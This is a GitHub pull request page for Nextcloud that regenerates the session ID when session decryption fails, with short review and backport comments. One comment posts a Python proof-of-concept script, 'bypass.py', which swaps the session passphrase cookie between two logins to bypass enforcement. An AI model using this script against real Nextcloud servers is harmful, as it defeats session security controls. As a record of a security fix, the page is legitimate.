Skip to content

Generate a new session id if the decrypting the session data fails - #24550

Merged
MorrisJobke merged 1 commit into
masterfrom
enh/fix/new_session_id_if_decrypt_fails
Dec 4, 2020
Merged

Generate a new session id if the decrypting the session data fails#24550
MorrisJobke merged 1 commit into
masterfrom
enh/fix/new_session_id_if_decrypt_fails

Conversation

@rullzer

Copy link
Copy Markdown
Member

Signed-off-by: Roeland Jago Douma roeland@famdouma.nl

Signed-off-by: Roeland Jago Douma <roeland@famdouma.nl>
);
} catch (\Exception $e) {
$this->sessionValues = [];
$this->regenerateId(true, false);

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Those are the default values, so skip?

Copy link
Copy Markdown
MemberAuthor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I'd rather be explicit here

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

#!/usr/bin/python3

python3 -m pip install requests beautifulsoup4

python3 bypass.py

from requests import Session
from bs4 import BeautifulSoup

class NextCloud(object):
def init(self, baseURL):
self.session = Session()
self.baseURL = baseURL

def login(self, data):
response = self.session.get(f'{self.baseURL}/login')
soup = BeautifulSoup(response.text, 'html.parser')
data.update({
'requesttoken': soup.find('head')['data-requesttoken']
})
self.session.post(f'{self.baseURL}/login', data = data)
def getCookies(self):
return self.session.cookies.get_dict()

if name == 'main':
baseURL = 'http://nextcloud.diefunction.local'
data = {
'user': 'bypass',
'password': 'NextCloudEnforcement'
}
firstSession = NextCloud(baseURL)
secondSession = NextCloud(baseURL)
firstSession.login(data)
secondSession.login(data)
cookies = firstSession.getCookies()
cookies['oc_sessionPassphrase'] = secondSession.getCookies()['oc_sessionPassphrase']
print(f'[Cookies] {cookies}') # change your browser cookies to bypass enforcement

@rullzer

Copy link
Copy Markdown
MemberAuthor

/backport to stable20

@rullzer

Copy link
Copy Markdown
MemberAuthor

/backport to stable19

@rullzer

Copy link
Copy Markdown
MemberAuthor

/backport to stable18

Sign up for freeto join this conversation on GitHub. Already have an account? Sign in to comment

Labels

3. to reviewWaiting for reviewsenhancement

Projects

None yet

Development

Successfully merging this pull request may close these issues.

4 participants

@rullzer@nickvergessen@MorrisJobke@jalaldeen786